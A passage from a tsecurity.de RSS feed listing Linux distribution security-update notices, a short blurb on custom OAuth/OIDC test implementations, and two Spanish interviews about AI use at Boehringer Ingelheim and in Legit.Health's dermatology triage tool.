<description><![CDATA[Security updates have been issued by AlmaLinux (kernel, kernel-rt, and munge), Debian (openssl), Mageia (gegl), Oracle (firefox, freerdp, gnupg2, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, java-11-openjdk, kernel, libpng15, munge, nodejs:20, nodejs:22, protobuf, and uek-kernel), SU...]]></description>
<link>https://tsecurity.de/de/3307436/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3307436/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 24 Feb 2026 15:36:12 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (kernel, kernel-rt, and munge), <b>Debian</b> (openssl), <b>Mageia</b> (gegl), <b>Oracle</b> (firefox, freerdp, gnupg2, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, java-11-openjdk, kernel, libpng15, munge, nodejs:20, nodejs:22, protobuf, and uek-kernel), <b>SUSE</b> (libpng12, libpng16, and openQA, openQA-devel-container, os-autoinst), and <b>Ubuntu</b> (gimp, libssh, and linux-azure).]]></content:encoded>
</item>
<item>
<title><![CDATA[Ferran Urgelés (Boehringer Ingelheim): “Hacer las simulaciones de manera digital nos permite tomar muchísima más velocidad”]]></title>
<description><![CDATA[En los últimos años, la industria farmacéutica ha abrazado el uso de inteligencia artificial: su potencial en el desarrollo de nuevos fármacos ha posibilitado que las grandes farmas la integren en la parte de investigación, además de habilitar nuevas empresas con esta herramienta —en sus distinta...]]></description>
<link>https://tsecurity.de/de/3304578/it-security-nachrichten/ferran-urgels-boehringer-ingelheim-hacer-las-simulaciones-de-manera-digital-nos-permite-tomar-muchsima-ms-velocidad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3304578/it-security-nachrichten/ferran-urgels-boehringer-ingelheim-hacer-las-simulaciones-de-manera-digital-nos-permite-tomar-muchsima-ms-velocidad/</guid>
<pubDate>Mon, 23 Feb 2026 10:53:04 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>En los últimos años, <strong>la industria farmacéutica ha abrazado el uso de inteligencia artificial</strong>: su potencial en el <a href="https://www.cio.com/article/4102962/la-industria-farmaceutica-abraza-la-inteligencia-artificial.html">desarrollo de nuevos fármacos</a> ha posibilitado que las grandes farmas la integren en la parte de investigación, además de habilitar nuevas empresas con esta herramienta —en sus distintas versiones— en el foco. Sin embargo, la aplicación de nuevas tecnologías en este sector va mucho más allá de la clave inteligente. Así lo explica <strong>Ferran Urgelés, director de TI de Boehringer España y del centro global de TI que la farmacéutica tiene en Barcelona, que ya emplea a más de 390 profesionales.</strong> El directivo, en la casa desde hace más de 18 años, desgrana la evolución tecnológica de una de las multinacionales del sector más relevantes del mundo, cuya actividad se enfoca en la investigación, el desarrollo y la comercialización de fármacos dirigidos tanto a la salud humana como a la animal, así como en la fabricación biofarmacéutica; un gigante que sigue haciendo gala de su carácter familiar, pero ya emplea a más de 50.000 profesionales y opera en más de 130 mercados a nivel mundial, entre los que se encuentra España.</p>



<p>“Muchas de las cosas que llamamos inteligencia artificial ya existían, ya las hacíamos”, señala. “Al final trabajas con información, con datos, con los que haces procesos, y hay muchas cosas que ya puedes automatizar”. Es aquí donde pone el foco. “La revolución en los últimos años han sido los datos, la gran cantidad de datos que tenemos y cómo los podemos procesar para obtener patrones, predicciones, etc. y leer esos datos y obtener todo el valor que podamos. Sí que es verdad que a lo que llamamos hoy en día inteligencia artificial nos está ayudando a que todo el mundo tenga acceso a temas de complejidad, que antes necesitabas un conocimiento y una experiencia”. “Es un progreso, porque nos permite ser más eficientes, más productivos”, apunta Urgelés, quien también advierte sobre la necesidad de revisar el trabajo de la IA para evitar sesgos o limitaciones.</p>



<h2 class="wp-block-heading">Proyectos de TI en Boehringer Ingelheim</h2>



<p>Urgelés reconoce que ahora mismo los esfuerzos de su departamento se están centrando en una rama. “Lo primordial es la <strong>investigación</strong>”, explica, “para poder continuar aportando soluciones a los pacientes, que tengan una mejor calidad de vida y mayor expectativa de vida”. Con este fin emplean en la farma tecnología que aprovecha ese recurso esencial, los datos, sobre el que se articulan varias claves. Por un lado, aplicando tecnología puntera de procesamiento se pueden encontrar patrones, afinando hacia una medicina “mucho más personalizada, más eficiente y efectiva”. “<strong>Estamos trabajando <em>in silico</em>, haciendo las simulaciones de manera digital</strong>, lo cual nos permite tomar muchísima más velocidad”. Si los tiempos desde que se encuentra un posible tratamiento hasta que este llega al mercado suelen ser de unos 10 años, el uso de herramientas inteligentes ayuda a acelerar el proceso de forma significativa, para que “se beneficien los pacientes de una manera mucho más temprana”.</p>



<p>Otro de los ejes de aplicación tecnológica es en <strong>ensayos clínicos</strong>, con procesos de gestión complejos que se pueden ver agilizados gracias a la buena gestión de datos. Urgelés profundiza en uno de los proyectos concretos de la compañía: su sistema One Medicine Platform, que permite gestionar todo el proceso a través de una única plataforma. “Antes teníamos múltiples plataformas que se tenían que conectar entre sí, lo cual es una ineficiencia. Podía haber incluso solapamientos, repeticiones, etc”. Con su nuevo sistema se avanza en la agilización de procesos y la eficiencia en el manejo de datos, facilitando la colaboración con otros agentes de salud, como las administraciones públicas o las aseguradoras. “Es importante que trabajemos conjuntamente para entender cómo podemos ayudar mejor a los pacientes”, enfatiza. Este proceso ayuda a tener una visión y un conocimiento global. “Creo que los datos y la colaboración nos puedan permitir ser mucho más eficaces y que todos estos tratamientos que existen se pongan en marcha de una manera mucho más eficiente”.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“La revolución en los últimos años han sido los datos, la gran cantidad que tenemos y cómo los podemos procesar para obtener todo el valor”</em></strong></p></blockquote></figure>



<p>Otra de sus iniciativas, en marcha desde hace cinco años, es su Dataland. “Apostamos por tener una plataforma única de toda la compañía, globalmente, de todos los departamentos, donde tener […] todos los datos de una manera catalogada, accesibles”. Esto no implica que se pueda usar toda la información: se han establecido unos términos de intercambio que marcan cuáles son críticos y precisan que se valide su uso de forma estricta. “Pero hay datos, como de ventas mensuales o anuales, que no son tan críticos y que están en el catálogo, y se puede pedir el acceso”. Un sistema de gobernanza de datos compartidos que supone un impulso para su trabajo: “<strong>Al conectar los datos entre sí se</strong> <strong>multiplica el valor de lo que estos pueden hacer</strong>”. Hace años, explica, estos procesos de conexión eran más dificultosos: cada departamento (finanzas, producción, investigación, ensayos clínicos…) tenían sus propios datos. Tenerlos organizados y disponibles a través de esta plataforma les ha dado, insiste, un nuevo valor.</p>



<p>Lo explica con otro proyecto vinculado: Opex Prime, en el que, gracias a la revisión de los datos de las plantas de producción, se ha conseguido optimizar el desempeño, con incrementos en la efectividad de entre el 10 y el 12%.</p>



<p>El uso de datos en farma también se extiende a otros campos, comunes a otras industrias, como la seguridad en la cadena de producción u otras labores de administración o facturación. “<strong>La seguridad de la producción es, en el mundo farmacéutico, clave</strong>. Todos los datos de la inteligencia artificial nos permiten también ser más ágiles en hacer estos chequeos y comprobaciones de calidad, que algunas requieren mucho de esfuerzo”, resume.</p>



<p>Urgelés cita también el uso de sistemas de proveedores externos, como Servicenow, SAP o Viva, que van incorporando tecnología de IA para automatizar tareas entre el personal. Reconoce que es necesaria también el trabajo en gestión del cambio y de mentalidad de transformación entre la plantilla, de “cómo podemos trabajar de una manera más eficiente”, de integrar herramientas de IA para no verlas como “una amenaza, sino todo lo contrario”. “<strong>Todas estas tecnologías nos pueden ayudar a gestionar mejor nuestra carga de trabajo, a tener más tiempo para cosas más estratégicas, en las que tenemos que ser más creativos, que pensar, que colaborar</strong>”, resume.</p>



<p>Desde el departamento de TI de Boehringer Ingelheim se gestionan también otras iniciativas, como su Hackathon, que en 2025 cumplió siete años, a través del cual dan la oportunidad a estudiantes o a profesionales de enfrentarse a retos concretos de su sector. Por ejemplo, en esta edición se planteó un desafío para ayudar a profesionales de centros de salud primarios a estar más presentes con sus pacientes, en un entorno de presión asistencial elevada. Entre las 150 personas que participaron —más de 30 equipos—, hubo propuestas muy interesantes, destaca. Entre los objetivos, estar en contacto con el talento tecnológico y científico y darles a conocer los retos reales. Han llegado a incorporar a su plantilla profesionales procedentes de este evento.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>“Hay que estar siempre atento a qué hay en esa ‘caja negra’, controlarla y tener especialistas”, incide el portavoz, “para que no caigamos en posibles sesgos que no estamos controlando”</strong></em></p></blockquote></figure>



<h2 class="wp-block-heading">Los desafíos en gestión tecnológica</h2>



<p>El responsable de TI de Boehringer Ingelheim define dos grandes retos cuando se trata de liderar el departamento de TI en una farma. En primer lugar, llama a no “<strong>embriagarnos de tecnología</strong>”: “Cuando hablas en el ámbito de la tecnología, puede haber la tentación de poner la tecnología en el centro”, desarrolla, a emprender iniciativas solo porque hay una determinada herramienta de moda y se quiere utilizar. Hay que definir, primero, “qué necesitamos como farma, cuál es nuestra prioridad, cuál es nuestra estrategia, cómo ayudamos al paciente. Y a partir de ahí buscamos el cómo”, profundiza. “Pero no al revés”. “Esto es no es algo nuevo, es algo continuo, pero que siempre tenemos que tener en mente”.</p>



<p>“<strong>Otro tema que en farma tenemos muy presente es la ética, evitar que se puedan dar sesgos</strong>”. Urgelés alude a cómo históricamente se han producido sesgos en ensayos clínicos y lo lleva al terreno de TI. “Hay que tener cuidado también con la tecnología. Pensamos que le pedimos lo que queremos hacer y nos lo da, pero hay que estar siempre atento a qué hay en esa ‘caja negra’, controlarla y tener especialistas”, incide, “para que no caigamos en posibles sesgos que no estamos controlando”.</p>



<p>Esto no quita que haya otros retos, incide. Por ejemplo, al trabajar con datos sensibles, la ciberseguridad es una prioridad. “Tenemos datos que son muy sensibles, [con] la máxima clasificación en el nivel de protección de datos, y nos tomamos muy en serio cómo protegerlos”. La compañía cuenta en su sede de San Cugat con un centro global de ciberseguridad para enfrentar los problemas en este terreno, que se vincula con otras unidades para dotar así de una cobertura global 24 horas.</p>



<p>Desde una visión más global, Urgelés considera que “en general, el mundo farma hace un esfuerzo grande en utilizar la tecnología para sus objetivos, que al final son el beneficio del paciente. Otra cosa es que todas esas transformaciones tienen su complejidad y requieren sus tiempos”, valora. Pero termina en clave optimista: “<strong>Hay mucha, mucha voluntad de colaboración entre las farmacéuticas</strong>”, destaca. “Veo muchas iniciativas donde hay colaboración, y yo creo que eso que eso es importante para realmente llegar a progresos destacables en beneficio del paciente”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Custom and flexible OAuth/OIDC SP and IdP implementations]]></title>
<description><![CDATA[During my master’s thesis, I created custom OpenID Connect Service Provider (SP) and Identity Provider (IdP) implementations for research and Proof-of-Concept purposes. Both implementations use NodeJS. This post outlines their capabilities and how they can be extended.]]></description>
<link>https://tsecurity.de/de/3303463/hacking/custom-and-flexible-oauthoidc-sp-and-idp-implementations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3303463/hacking/custom-and-flexible-oauthoidc-sp-and-idp-implementations/</guid>
<pubDate>Sun, 22 Feb 2026 17:38:04 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>During my master’s thesis, I created custom <em>OpenID Connect</em> Service Provider (SP) and Identity Provider (IdP) implementations for research and Proof-of-Concept purposes. Both implementations use <em>NodeJS</em>. This post outlines their capabilities and how they can be extended.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (edk2, glibc, gnupg2, golang, grafana, nodejs:24, and php), Debian (gimp and kernel), Fedora (fvwm3), Mageia (microcode and vim), Oracle (edk2, glibc, kernel, nodejs:24, and php), Red Hat (python-s3transfer), SUSE (abseil-cpp, avahi, azure-cli-core, ...]]></description>
<link>https://tsecurity.de/de/3297967/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3297967/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 19 Feb 2026 15:21:54 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (edk2, glibc, gnupg2, golang, grafana, nodejs:24, and php), <b>Debian</b> (gimp and kernel), <b>Fedora</b> (fvwm3), <b>Mageia</b> (microcode and vim), <b>Oracle</b> (edk2, glibc, kernel, nodejs:24, and php), <b>Red Hat</b> (python-s3transfer), <b>SUSE</b> (abseil-cpp, avahi, azure-cli-core, fontforge, go1.24, go1.25, golang-github-prometheus-prometheus, libpcap, libsoup2, libxml2-16, mupdf, nodejs22, openCryptoki, openjpeg2, patch, python-aiohttp, python-Brotli, python-pip, python311-asgiref, rust1.93, and traefik), and <b>Ubuntu</b> (inetutils, libssh, linux-gcp, linux-gke, linux-hwe-6.8, linux-lowlatency-hwe-6.8, linux-intel-iotg-5.15, linux-xilinx-zynqmp, linux-lowlatency, linux-nvidia-lowlatency, and trafficserver).]]></content:encoded>
</item>
<item>
<title><![CDATA[María Ribagorda (Legit.Health): “La IA no sustituye al médico, potencia su capacidad diagnóstica a nivel experto”]]></title>
<description><![CDATA[España registra de media 69 días de espera en la especialidad de dermatología, según datos del Ministerio de Sanidad de junio de 2025. En torno a tres meses pasan desde que se detecta una mancha en la piel que preocupa hasta que se consigue que un especialista la evalúe y trate. En Cataluña, la e...]]></description>
<link>https://tsecurity.de/de/3295013/it-security-nachrichten/mara-ribagorda-legithealth-la-ia-no-sustituye-al-mdico-potencia-su-capacidad-diagnstica-a-nivel-experto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3295013/it-security-nachrichten/mara-ribagorda-legithealth-la-ia-no-sustituye-al-mdico-potencia-su-capacidad-diagnstica-a-nivel-experto/</guid>
<pubDate>Wed, 18 Feb 2026 11:07:52 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>España registra de media 69 días de espera en la especialidad de dermatología, <a href="https://www.sanidad.gob.es/estadEstudios/estadisticas/inforRecopilaciones/docs/LISTAS_PUBLICACION_jun25.pdf" target="_blank" rel="nofollow">según datos del Ministerio de Sanidad de junio de 2025</a>. En torno a tres meses pasan desde que se detecta una mancha en la piel que preocupa hasta que se consigue que un especialista la evalúe y trate. En Cataluña, la espera duplica la media y llega a alcanzar los 137 días. En ese intervalo, una mancha que parecía inofensiva puede volverse peligrosa. Pero el problema no es solo la espera en sí. Es que, en esa lista inagotable de pacientes, un lunar banal comparte lista con un melanoma. “Hoy en día no existe una priorización adecuada de los casos dermatológicos “, dice <strong>María Ribagorda, directora de salud digital de la <em>startup </em>Legit.Health,</strong> que emplea la inteligencia artificial para medir la gravedad y monitorizar patologías de la piel, como cánceres o enfermedades crónicas, entre otras. “Y eso significa que, mientras se avanza en las listas, algunos casos urgentes pierden la oportunidad de ser tratados a tiempo, antes de que aumente su gravedad”.</p>



<p>La saturación de especialidades como dermatología no es un fenómeno aislado. Es un síntoma de cómo el sistema sanitario público gestiona la escasez de recursos. Cuando la demanda crece y la oferta de especialistas se estanca, incluso decrece, la única válvula de escape es la lista de espera. Pero esa válvula tiene un límite. “El sistema actual, tal como está diseñado, no es sostenible”, añade la responsable de Legit.Health.</p>



<p>La demanda de asistencia dermatológica crece por muchos factores: estrés, ritmo de vida, envejecimiento de la población… pero el principal, subraya Ribagorda, “es que hay una mayor concienciación sobre nuestra propia salud. Ya no ignoramos como antes esas manchas en la piel”. Hoy el paciente observa, duda y consulta antes. En el otro lado, el de los profesionales sanitarios, un médico de atención primaria dispone de menos de diez minutos por paciente en consulta. Además, matiza la responsable de Legit.Health, “ni son expertos en dermatología ni tienen que serlo”.</p>



<p>La consecuencia es directa: si aparece una lesión cutánea y existe cualquier duda, la decisión más segura es siempre remitir al especialista. Esa lógica, multiplicada por miles de consultas diarias, satura el sistema con casos que frecuentemente no requieren la evaluación de un experto. Pero sin herramientas para discernir, el médico de familia no puede permitirse el error. Equivocarse tiene un coste que ningún médico puede asumir en solitario.</p>



<h2 class="wp-block-heading">Acelerar el triaje dermatológico</h2>



<p>En este contexto, en el mercado han surgido diversas soluciones tecnológicas que buscan optimizar el triaje dermatológico. Entre ellas, dispositivos médicos asistidos por modelos de inteligencia artificial que analizan los signos clínicos de lesiones cutáneas mediante algoritmos entrenados con imágenes dermatológicas. La premisa es clara: no sustituir el criterio clínico, sino reforzarlo con información objetiva que permita tomar mejores decisiones. Algunas de las que ya se usan en el ámbito sanitario español son SkinVision, centrada en la detección precoz del cáncer de piel, FotoFinder (Skeen), para dermatoscopia digital y mapeo de lunares, Skinive, que usa la IA para detectar problemas cutáneos, las plataformas de teledermatología iDoc24 y First Derm, la aplicación de seguimiento fotográfico de cambios en la piel Miiskin, las herramientas de IA VissualDx y DermExpert…</p>



<p>Muchas de estas herramientas no funcionan como dispositivos aislados. Se integran directamente en la historia clínica del paciente y funcionan con el móvil que el profesional ya tiene en consulta. “El médico o la enfermera hacen una foto de la lesión y obtienen los resultados en segundos. No es un proceso paralelo que añada complejidad al flujo de trabajo. Es parte de él”, explica Ribagorda. Esa integración práctica marca la diferencia entre una tecnología que realmente se usa y otra que acaba siendo apartada en un cajón. En sanidad, la fricción suele ser el enemigo invisible de la innovación.</p>



<p>Este avance en la atención primaria tiene un efecto multiplicador en todo el sistema. El médico de cabecera deja de enviar al especialista por pura prudencia y pasa a decidir con una base técnica sólida, una información objetiva y de calidad que apoya el diagnóstico clínico y ayuda a priorizar. Si el sistema identifica una anomalía benigna o leve, el paciente puede permanecer en atención primaria con total seguridad. Si detecta signos de alarma, la derivación es inmediata y su grado de priorización definido. El resultado es que el médico de cabecera gana confianza y los dermatólogos recuperan tiempo para los casos que realmente requieren su experiencia.     </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?w=1024" alt="persona haciendo una foto de una paciente con psoriasis en el brazo" class="wp-image-4133678" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?quality=50&amp;strip=all 2304w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=300%2C212&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=768%2C544&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=1024%2C725&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=1536%2C1087&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=2048%2C1450&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=985%2C697&amp;quality=50&amp;strip=all 985w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=237%2C168&amp;quality=50&amp;strip=all 237w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=119%2C84&amp;quality=50&amp;strip=all 119w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=678%2C480&amp;quality=50&amp;strip=all 678w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=509%2C360&amp;quality=50&amp;strip=all 509w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Doctor-urticaria-1.png?resize=353%2C250&amp;quality=50&amp;strip=all 353w" width="1024" height="725" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Legit.Health</p></div>



<h2 class="wp-block-heading">El desafío de desarrollar tecnología sanitaria</h2>



<p>Desarrollar tecnología sanitaria no es como lanzar una aplicación de consumo al mercado. La regulación en salud digital es estricta, y con razón. Cualquier herramienta que intervenga en decisiones clínicas debe superar un proceso de validación exhaustivo antes de utilizarse en entornos reales. Eso alarga los tiempos de desarrollo y aumenta los costes.</p>



<p>“Es necesario por la seguridad del paciente”, reconoce Ribagorda. “Pero también implica que una <em>startup </em>en este sector se enfrenta a barreras de entrada muy superiores a las de otros ámbitos”. Esa distancia entre la innovación técnica y la validación clínica explica por qué la salud digital avanza más despacio, pero con mayor seguridad. Además, la implementación real en sistemas sanitarios públicos presenta desafíos adicionales: resistencias al cambio, la aceptación de sus usuarios y las dudas sobre qué hacer si se equivocan. La validación en laboratorio no siempre se traduce en la misma eficacia en la práctica clínica diaria. Una IA puede funcionar perfectamente en un ensayo y fallar en una consulta abarrotada un lunes por la mañana.</p>



<p>Pese a estas barreras, Legit.Health ha pasado por este proceso de certificación, demostrando que cumple con los estándares de seguridad y fiabilidad. No son los únicos en este mercado. El diagnóstico dermatológico asistido por IA es un campo en crecimiento donde distintos actores compiten con enfoques diferentes: algunos se especializan en patologías concretas; otros segmentan por población; otros apuestan por el autodiagnóstico desde casa.</p>



<p>La propuesta de Legit.Health sigue un enfoque distinto al de sus competidores: mientras algunos se especializan en dos o tres patologías, ellos abarcan un espectro de más de 300; donde otros segmentan por edad o tipo de piel, su tecnología está diseñada para cualquier paciente; y mientras muchos apuestan por que el usuario se autodiagnostique en casa, mantienen al profesional sanitario como pieza central de la decisión.</p>



<p>Esta apuesta es relevante en un contexto donde se debate constantemente el papel de la inteligencia artificial en la medicina. Frente a las visiones más disruptivas que plantean la sustitución de profesionales, estas herramientas apuntan a un modelo colaborativo donde la tecnología incrementa la capacidad de decisión del médico, mejora la calidad de la atención y hace más eficiente el uso de recursos limitados.</p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Hoy la sanidad pública está apagando fuegos en lugar de prevenirlos […]. Si acumulamos información clínica estructurada y de calidad, podemos empezar a anticiparnos. Identificar patrones. Intervenir cuando aún hay margen de maniobra”</em></strong></p></blockquote></figure>



<p>El autodiagnóstico sin supervisión médica presenta riesgos críticos, como falsos negativos que retrasan la detección de patologías graves o falsos positivos que saturan innecesariamente el sistema. Al no estar integradas en el flujo asistencial, estas soluciones desvinculadas del médico no resuelven el cuello de botella estructural; al contrario, añaden pasos intermedios sin eliminar la barrera de espera. Mantener al profesional sanitario en el centro, como propone Legit.Health, no solo garantiza la precisión clínica y la seguridad del paciente, sino que asegura la continuidad asistencial y la trazabilidad necesarias para una medicina ética y eficiente.</p>



<p>En España, hospitales como Torrejón (Madrid) han incorporado ya esta tecnología. A comienzos de 2026, Asturias dio un paso más: la sanidad pública asturiana (SESPA) la implementó en Atención Primaria para priorizar los casos dermatológicos más graves y aliviar la presión sobre las consultas hospitalarias. La startup está presente también en otros países europeos y prepara su entrada en el mercado estadounidense.</p>



<h2 class="wp-block-heading">El futuro: de un sistema sanitario reactivo a uno preventivo</h2>



<p>Pero la verdadera transformación está un paso más allá. Hasta aquí, todo esto actúa sobre un sistema reactivo: hace que la respuesta sea más ágil y certera. Sin embargo, cuando la información se integra sistemáticamente en el historial clínico del paciente, se abre otra posibilidad. Los análisis agregados de esos datos pueden mover el sistema del terreno reactivo al preventivo.</p>



<p>“Hoy la sanidad pública está apagando fuegos en lugar de prevenirlos”, señala con preocupación Ribagorda. “Pero si acumulamos información clínica estructurada y de calidad, podemos empezar a anticiparnos. Identificar patrones. Intervenir cuando aún hay margen de maniobra”. Por ejemplo, detectar que ciertos perfiles de pacientes desarrollan melanomas con mayor frecuencia, o que determinadas lesiones evolucionan de formas predecibles. Información que permitiría actuar antes de que aparezcan los síntomas graves. “La IA no sustituye al médico, potencia su capacidad diagnóstica a nivel experto”, añade.</p>



<p>Este es el verdadero salto: dotar a profesionales sanitarios no dermatólogos con herramientas que les permitan tomar decisiones más precisas y más rápidas, anticiparse cuando todavía es posible para evitar diagnósticos tardíos que acaban suponiendo un daño para el paciente y un mayor coste para el sistema.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3294157/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3294157/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 17 Feb 2026 22:45:51 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3294156/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3294156/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 17 Feb 2026 22:45:50 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3294155/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3294155/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Tue, 17 Feb 2026 22:45:48 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3290340/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290340/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 16 Feb 2026 08:01:04 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3290338/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290338/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 16 Feb 2026 08:01:01 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3290337/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3290337/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Mon, 16 Feb 2026 08:01:00 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (firefox, gcc-toolset-14-binutils, nodejs:20, nodejs:22, nodejs:24, php:7.4, and python3.12), Debian (haproxy, nginx, postgresql-15, and postgresql-17), Fedora (libssh), Oracle (glib2, libsoup, nodejs:20, nodejs:22, and php:7.4), SUSE (assimp, gnutls...]]></description>
<link>https://tsecurity.de/de/3286520/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3286520/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 13 Feb 2026 15:08:24 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (firefox, gcc-toolset-14-binutils, nodejs:20, nodejs:22, nodejs:24, php:7.4, and python3.12), <b>Debian</b> (haproxy, nginx, postgresql-15, and postgresql-17), <b>Fedora</b> (libssh), <b>Oracle</b> (glib2, libsoup, nodejs:20, nodejs:22, and php:7.4), <b>SUSE</b> (assimp, gnutls, helm, kernel, kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-t, libmunge2, libsodium, libsoup, micropython, munge, openCryptoki, python-azure-core, rust-keylime, rustup, sccache, snpguest, tcpreplay, xorg-x11-server, xrdp, and zabbix), and <b>Ubuntu</b> (dnsdist, dotnet8, dotnet9, dotnet10, haproxy, libpng1.6, linux-aws-5.15, linux-azure, linux-azure-fips, linux-oracle, linux-oracle-5.4, munge, nginx, and node-dottie).]]></content:encoded>
</item>
<item>
<title><![CDATA[Por qué la resiliencia es el único ROI defendible (y por qué los agentes especializados superan a los generalistas)]]></title>
